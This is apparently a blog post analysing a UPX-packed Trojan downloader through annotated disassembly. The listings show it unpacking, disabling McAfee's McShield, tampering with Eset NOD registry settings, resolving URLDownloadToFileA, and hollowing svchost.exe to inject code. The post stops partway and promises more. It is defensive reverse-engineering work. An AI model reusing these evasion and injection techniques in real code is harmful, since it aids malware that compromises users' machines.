As a malware for my first analysis I decided to download Trojan.Downloader-4680 (MD5 b48301acf88fc593b1481f994d48d1e4 ) from
offensivecomputing.net.
The binary is packed with UPX.
After the unpacking loop we arrive at
UPX1:15173C75 loc_15173C75:
UPX1:15173C75 mov eax, [edi]
UPX1:15173C77 or eax, eax
UPX1:15173C79 jz short loc_15173CB7
UPX1:15173C7B mov ebx, [edi+4]
UPX1:15173C7E lea eax, [eax+esi+13058h]
UPX1:15173C85 add ebx, esi
UPX1:15173C87 push eax
UPX1:15173C88 add edi, 8
UPX1:15173C8B call dword ptr [esi+13080h] ; call loadlibraryA
UPX1:15173C91 xchg eax, ebp
UPX1:15173C92
UPX1:15173C92 loc_15173C92:
UPX1:15173C92 mov al, [edi]
UPX1:15173C94 inc edi
UPX1:15173C95 or al, al
UPX1:15173C97 jz short loc_15173C75
UPX1:15173C99 mov ecx, edi
UPX1:15173C9B push edi
UPX1:15173C9C dec eax
UPX1:15173C9D repne scasb
UPX1:15173C9F push ebp
UPX1:15173CA0 call dword ptr [esi+13084h] ; call GetProcAddress
UPX1:15173CA6 or eax, eax
UPX1:15173CA8 jz short loc_15173CB1
UPX1:15173CAA mov [ebx], eax
UPX1:15173CAC add ebx, 4
UPX1:15173CAF jmp short loc_15173C92
UPX1:15173CB1
UPX1:15173CB1
UPX1:15173CB1 loc_15173CB1:
UPX1:15173CB1 call dword ptr [esi+13088h]
UPX1:15173CB7
UPX1:15173CB7 loc_15173CB7:
UPX1:15173CB7 popa
UPX1:15173CB8 jmp loc_15161A93
Here the malware loads kernel32.dll and calls GetProcAddress for the following procedures:
- ExitProcess
- GetTmpFileName
- GetTickCount
- Sleep
- CreateThread
The malware then executes the jmp at 15173CB8.
The target of the jmp, after the unpacking loop (and after my analysis/renaming) looks like this:
UPX0:15161A93 loc_15161A93:
UPX0:15161A93 call rebuild_import_tables
UPX0:15161A98 call search_proc_by_hash1
UPX0:15161A9D call search_proc_by_hash2
UPX0:15161AA2 call disable_McShield
UPX0:15161AA7 push 400h
UPX0:15161AAC push offset lpFileName
UPX0:15161AB1 push 0
UPX0:15161AB3 call k32_GetModuleFileNameA
UPX0:15161AB9 mov startupinfo.cb, 44h
UPX0:15161AC3 mov startupinfo.dwFlags, 1
UPX0:15161ACD mov startupinfo.wShowWindow, 2
UPX0:15161AD6 push offset aSvchost_exe ; "svchost.exe "
UPX0:15161ADB push offset svchost_lstrcat ; ""
UPX0:15161AE0 call k32_lstrcat
UPX0:15161AE6 nop
UPX0:15161AE7 push offset lpFileName
UPX0:15161AEC push offset svchost_lstrcat ; ""
UPX0:15161AF1 call k32_lstrcat
UPX0:15161AF7 push offset lpPROCESS_INFORMATION
UPX0:15161AFC push offset startupinfo
UPX0:15161B01 push 0
UPX0:15161B03 push 0
UPX0:15161B05 push 4
UPX0:15161B07 push 0
UPX0:15161B09 push 0
UPX0:15161B0B push 0
UPX0:15161B0D push offset svchost_lstrcat ; ""
UPX0:15161B12 push 0
UPX0:15161B14 call k32_CreateProcessA
UPX0:15161B1A push 0
UPX0:15161B1C call k32_GetModuleHandleA
UPX0:15161B22 mov moduleHandle, eax
UPX0:15161B27 mov eax, moduleHandle
UPX0:15161B2C lea edi, [eax]
UPX0:15161B2E add edi, [edi+3Ch]
UPX0:15161B31 add edi, 4
UPX0:15161B34 nop
UPX0:15161B35 add edi, 14h
UPX0:15161B38 mov eax, [edi+38h]
UPX0:15161B3B push eax
UPX0:15161B3C pop dword_15163C7C
UPX0:15161B42 push 40h
UPX0:15161B44 push 3000h
UPX0:15161B49 push dword_15163C7C
UPX0:15161B4F push moduleHandle
UPX0:15161B55 push lpPROCESS_INFORMATION.hProcess
UPX0:15161B5B call k32_kernel32_VirtualAllocEx
UPX0:15161B61 push eax
UPX0:15161B62 pop dword_15163C80
UPX0:15161B68 push offset unk_15163C84
UPX0:15161B6D push dword_15163C7C
UPX0:15161B73 push moduleHandle
UPX0:15161B79 push dword_15163C80
UPX0:15161B7F push lpPROCESS_INFORMATION.hProcess
UPX0:15161B85 call k32_WriteProcessMemory
UPX0:15161B8B push 10007h
UPX0:15161B90 pop dword_15163C8C
UPX0:15161B96 push offset dword_15163C8C
UPX0:15161B9B push lpPROCESS_INFORMATION.hThread
UPX0:15161BA1 call k32_GetThreadContext
UPX0:15161BA7 mov dword_15163D44, offset byte_15161703
UPX0:15161BB1 push offset dword_15163C8C
UPX0:15161BB6 push lpPROCESS_INFORMATION.hThread
UPX0:15161BBC call k32_SetThreadContext
UPX0:15161BC2 push lpPROCESS_INFORMATION.hThread
UPX0:15161BC8 call k32_ResumeThread
UPX0:15161BCE push 1F4h
UPX0:15161BD3 call k32_Sleep
UPX0:15161BD9 push 0
UPX0:15161BDB call k32_ExitProcess
UPX0:15161BE1 push 0
UPX0:15161BE3 call j_kernel32_ExitProcess
Let's look at what the function rebuild_import_tables does.
It starts by calling a function that sets eax to the start address of kernel32.dll :
UPX0:151618B7 rebuild_import_tables proc near
UPX0:151618B7 call set_eax_k32_start_offset
UPX0:151618BC or eax, eax
UPX0:151618BE jnz loc_15161995
UPX0:151618C4 retn
.....
UPX0:15161995 loc_15161995:
UPX0:15161995 push eax
UPX0:15161996 pop offset_begin_k32
UPX0:1516199C xor offset_begin_k32, 522h
UPX0:151619A6 call j_kernel32_GetTickCount
UPX0:151619AB push offset lpThreadAttributes
UPX0:151619B0 push 0
UPX0:151619B2 push 0
UPX0:151619B4 push offset thread_func1
UPX0:151619B9 push 0
UPX0:151619BB push 0
UPX0:151619BD call j_kernel32_CreateThread
UPX0:151619C2 call j_kernel32_GetTickCount
UPX0:151619C7 push 0C8h
UPX0:151619CC call j_kernel32_Sleep
UPX0:151619D1 push offset k32_CloseHandle
UPX0:151619D6 push dword ptr NUMBER_OF_ADDRESSES1
UPX0:151619DC push offset byte_151618C5
UPX0:151619E1 push offset_begin_k32
UPX0:151619E7 call rebuild_import_table
The important part of this code is the call to rebuild_import_table (the return values from the call to GetTickCount aren't used for anything that I am aware of, and the thread function just undoes the xor at 1516199C).
The rebuild_import_table will find the address of NUMBER_OF_ADDRESSES1 of the given dll (in this case kernel32) and start saving them at the address passed in the last parameter (in this case k32_CloseHandle). I haven't figured out what the second argument is.
The NUMBER_OF_ADDRESSES is an hardcoded value, and the return value (in EAX) is the number of addresses looked up. After the call these were the found addresses:
UPX0:15163B58 k32_CloseHandle dd offset kernel32_CloseHandle
UPX0:15163B5C k32_CreateFileA dd offset kernel32_CreateFileA
UPX0:15163B60 k32_CreateProcessA dd offset kernel32_CreateProcessA
UPX0:15163B64 k32_DeleteFileA dd offset kernel32_DeleteFileA
UPX0:15163B68 k32_ExitProcess dd offset kernel32_ExitProcess
UPX0:15163B6C k32_FreeConsole dd offset kernel32_FreeConsole
UPX0:15163B70 k32_GetCommandLineA dd offset kernel32_GetCommandLineA
UPX0:15163B74 k32_GetModuleFileNameA dd offset kernel32_GetModuleFileNameA
UPX0:15163B78 k32_GetModuleHandleA dd offset kernel32_GetModuleHandleA
UPX0:15163B7C k32_GetTempPathA dd offset kernel32_GetTempPathA
UPX0:15163B80 k32_GetThreadContext dd offset kernel32_GetThreadContext
UPX0:15163B84 k32_LoadLibraryA dd offset kernel32_LoadLibraryA
UPX0:15163B88 k32_ResumeThread dd offset kernel32_ResumeThread
UPX0:15163B8C k32_SetThreadContext dd offset kernel32_SetThreadContext
UPX0:15163B90 k32_Sleep dd offset kernel32_Sleep
UPX0:15163B94 k32_kernel32_VirtualAllocEx dd offset kernel32_VirtualAllocEx
UPX0:15163B98 k32_WriteFile dd offset kernel32_WriteFile
UPX0:15163B9C k32_WriteProcessMemory dd offset kernel32_WriteProcessMemory
UPX0:15163BA0 k32_lstrcat dd offset kernel32_lstrcat
UPX0:15163BA4 k32_lstrcpy dd offset kernel32_lstrcpy
UPX0:15163BA8 k32_readfile dd offset kernel32_ReadFile
UPX0:15163BAC k32_OpenProcess dd offset kernel32_OpenProcess
UPX0:15163BB0 k32_TerminateProcess dd offset kernel32_TerminateProcess
UPX0:15163BB4 k32_lstrcpyn dd offset kernel32_lstrcpyn
UPX0:15163BB8 k32_lstrlen dd offset kernel32_lstrlen
UPX0:15163BBC k32_lstrcmpi dd offset kernel32_lstrcmpi
UPX0:15163BC0 k32_GetProcAddress dd offset kernel32_GetProcAddress
UPX0:15163BC4 k32_GlobalAlloc dd offset kernel32_GlobalAlloc
UPX0:15163BC8 k32_GlobalFree dd offset kernel32_GlobalFree
UPX0:15163BCC k32_CreateToolhelp32Snapshot dd offset kernel32_CreateToolhelp32Snapshot
UPX0:15163BD0 k32_Process32First dd offset kernel32_Process32First
UPX0:15163BD4 k32_Process32Next dd offset kernel32_Process32Next
UPX0:15163BD8 k32_DuplicateHandle dd offset kernel32_DuplicateHandle
UPX0:15163BDC k32_GetCurrentProcessId dd offset kernel32_GetCurrentProcessId
UPX0:15163BE0 k32_CreateThread dd offset kernel32_CreateThread
Afterward we have a similiar process (this time to advapi.dll):
UPX0:151619F5 loc_151619F5:
UPX0:151619F5 push offset aAdvapi32_dll
UPX0:151619FA pop eax
UPX0:151619FB push 521h
UPX0:15161A00 pop ecx
UPX0:15161A01 xor [eax], ecx
UPX0:15161A03 push offset lpThreadAttributes
UPX0:15161A08 push 0
UPX0:15161A0A push 0
UPX0:15161A0C push offset thread_func2
UPX0:15161A11 push 0
UPX0:15161A13 push 0
UPX0:15161A13 rebuild_import_tables endp
UPX0:15161A15 call k32_CreateThread
UPX0:15161A1B push 0FAh
UPX0:15161A20 call k32_Sleep
UPX0:15161A26 push offset aAdvapi32_dll ; "advapi32.dll"
UPX0:15161A2B call k32_LoadLibraryA
UPX0:15161A31 or eax, eax
UPX0:15161A33 jz short locret_15161A5B
UPX0:15161A35 mov offset_begin_advapi32, eax
UPX0:15161A3A push offset advapi_AdjustTokenPrivileges
UPX0:15161A3F push NUMBER_OF_ADDRESSES2
UPX0:15161A45 push offset byte_15161955
UPX0:15161A4A push eax
UPX0:15161A4B call rebuild_import_table
UPX0:15161A50 cmp eax, NUMBER_OF_ADDRESSES2
UPX0:15161A56 jz short loc_15161A5C
UPX0:15161A58 retn
as a result of this call to rebuild_import_table the following addresses were looked up:
UPX0:15163BE8 advapi_AdjustTokenPrivileges dd offset advapi32_AdjustTokenPrivileges
UPX0:15163BEC advapi_LookupPrivilegeValueA dd offset advapi32_LookupPrivilegeValueA
UPX0:15163BF0 advapi_OpenProcessToken dd offset advapi32_OpenProcessToken
UPX0:15163BF4 advapi_RegCreateKeyA dd offset advapi32_RegCreateKeyA
UPX0:15163BF8 advapi_RegEnumKeyExA dd offset advapi32_RegEnumKeyExA
UPX0:15163BFC advapi_RegOpenKeyExA dd offset advapi32_RegOpenKeyExA
UPX0:15163C00 advapi_RegQueryValueExA dd offset advapi32_RegQueryValueExA
UPX0:15163C04 advapi_RegSetValueExA dd offset advapi32_RegSetValueExA
UPX0:15163C08 advapi_CloseServiceHandle dd offset advapi32_CloseServiceHandle
UPX0:15163C0C advapi_ControlService dd offset advapi32_ControlService
UPX0:15163C10 advapi_DeleteService dd offset advapi32_DeleteService
UPX0:15163C14 advapi_OpenSCManagerA dd offset advapi32_OpenSCManagerA
UPX0:15163C18 advapi_OpenServiceA dd offset advapi32_OpenServiceA
the jz is taken and we proceed to:
UPX0:15161A5C loc_15161A5C:
UPX0:15161A5C push offset aUrlmon_dll ; "urlmon.dll"
UPX0:15161A61 call k32_LoadLibraryA
UPX0:15161A67 or eax, eax
UPX0:15161A69 jz short near ptr unk_15161A91
UPX0:15161A6B mov offset_begin_urlmon, eax
UPX0:15161A70 push offset urlmon_dll_URLDownloadToFileA
UPX0:15161A75 push NUMBER_OF_ADDRESSES3
UPX0:15161A7B push offset byte_1516198D
UPX0:15161A80 push eax
UPX0:15161A81 call rebuild_import_table
UPX0:15161A86 cmp eax, NUMBER_OF_ADDRESSES3
UPX0:15161A8C jz short near ptr unk_15161A92
and the function looked up by rebuild_import_table is
UPX0:15163C20 urlmon_dll_URLDownloadToFileA dd offset urlmon_URLDownloadToFileA
Again the jz is taken and the instruction at the target address is:
UPX0:15161A92 locret_15161A92:
UPX0:15161A92 retn
So the execution returns to
UPX0:15161A98 call search_proc_by_hash1
(the function following the call to rebuild_import_tables)
This is what the function looks like:
UPX0:151615F4 search_proc_by_hash1 proc near
UPX0:151615F4 push process_name_hash1
UPX0:151615FA call search_process
UPX0:151615FF cmp eax, 0
UPX0:15161602 jbe locret_151616C5
UPX0:15161608 push eax
UPX0:15161609 pop dword_15163B45
UPX0:1516160F push offset registryKeyHandle
UPX0:15161614 push offset aSoftwareEsetNo ; "SOFTWARE\\Eset\\Nod\\CurrentVersion\\Module"...
UPX0:15161619 push 80000002h
UPX0:1516161E call advapi_RegCreateKeyA
UPX0:15161624 push 0B8h
UPX0:15161629 push offset a2 ; "2"
UPX0:1516162E push 3
UPX0:15161630 push 0
UPX0:15161632 push offset aExc ; "exc"
UPX0:15161637 push registryKeyHandle
UPX0:1516163D call advapi_RegSetValueExA
UPX0:15161643 or eax, eax
UPX0:15161645 jnz short locret_151616C5
UPX0:15161647 push 3
UPX0:15161649 pop dword_15163B41
UPX0:1516164F push 4
UPX0:15161651 push offset dword_15163B41
UPX0:15161656 push 4
UPX0:15161658 push 0
UPX0:1516165A push offset aExc_num ; "exc_num"
UPX0:1516165F push registryKeyHandle
UPX0:15161665 call advapi_RegSetValueExA
UPX0:1516166B push registryKeyHandle
UPX0:15161671 call k32_CloseHandle
UPX0:15161677 push dword_15163B45
UPX0:1516167D push 0
UPX0:1516167F push 1
UPX0:15161681 mov ecx, k32_OpenProcess
UPX0:15161687 push ecx
UPX0:15161688 pop dword_15163B49
UPX0:1516168E push 0
UPX0:15161690 pop dword_15163B4D
UPX0:15161696 push offset registryKeyHandle
UPX0:1516169B push 0
UPX0:1516169D push 0
UPX0:1516169F push offset thread_func3
UPX0:151616A4 push 0
UPX0:151616A6 push 0
UPX0:151616A8 call k32_CreateThread
UPX0:151616AE push 78h
UPX0:151616B0 call k32_Sleep
UPX0:151616B6 call dword_15163B4D
UPX0:151616BC push 1
UPX0:151616BE push eax
UPX0:151616BF call k32_TerminateProcess
UPX0:151616C5 locret_151616C5:
UPX0:151616C5 retn
UPX0:151616C5 search_proc_by_hash1 endp
We can see that there is a push of an argument and a call to search_process
UPX0:1516121D search_process proc near
UPX0:1516121D push ebp
UPX0:1516121E mov ebp, esp
UPX0:15161220 push 0
UPX0:15161222 push TH32CS_SNAPPROCESS
UPX0:15161224 call k32_CreateToolhelp32Snapshot
UPX0:1516122A cmp eax, 0FFFFFFFFh
UPX0:1516122D jz short locret_1516129E
UPX0:1516122F push eax
UPX0:15161230 pop snapShotHandle
UPX0:15161236 mov LPPROCESSENTRY32, 128h
UPX0:15161240 push offset LPPROCESSENTRY32
UPX0:15161245 push snapShotHandle
UPX0:1516124B call k32_Process32First
UPX0:15161251 cmp eax, 1
UPX0:15161254 jnz short locret_1516129E
UPX0:15161256
UPX0:15161256 loc_15161256:
UPX0:15161256 push offset ProcessName ; ""
UPX0:1516125B call GenHash
UPX0:15161260 cmp eax, [ebp+8]
UPX0:15161263 jnz short loc_1516127A
UPX0:15161265 push snapShotHandle
UPX0:1516126B call k32_CloseHandle
UPX0:15161271 push dword_15163351
UPX0:15161277 pop eax
UPX0:15161278 jmp short locret_1516129E
UPX0:1516127A loc_1516127A:
UPX0:1516127A push offset LPPROCESSENTRY32
UPX0:1516127F push snapShotHandle
UPX0:15161285 call k32_Process32Next
UPX0:1516128B or eax, eax
UPX0:1516128D jnz short loc_15161256
UPX0:1516128F push snapShotHandle
UPX0:15161295 call k32_CloseHandle
UPX0:1516129B push 0
UPX0:1516129D pop eax
UPX0:1516129E
UPX0:1516129E locret_1516129E:
UPX0:1516129E
UPX0:1516129E leave
UPX0:1516129F retn 4
UPX0:1516129F search_process endp
This function takes a snapshot of all running processes, creates a hash of the process name and compares it to the argument. I don't know the name that would result in the given hash is, although I'm guessing it has something to do with eset nod anti-virus (which I don't have running in this machine).
As the return value of the call to search_process EAX holds 0 so the jump at 15161602 is taken (and the process returns).
I will continue with my analysis in a future post.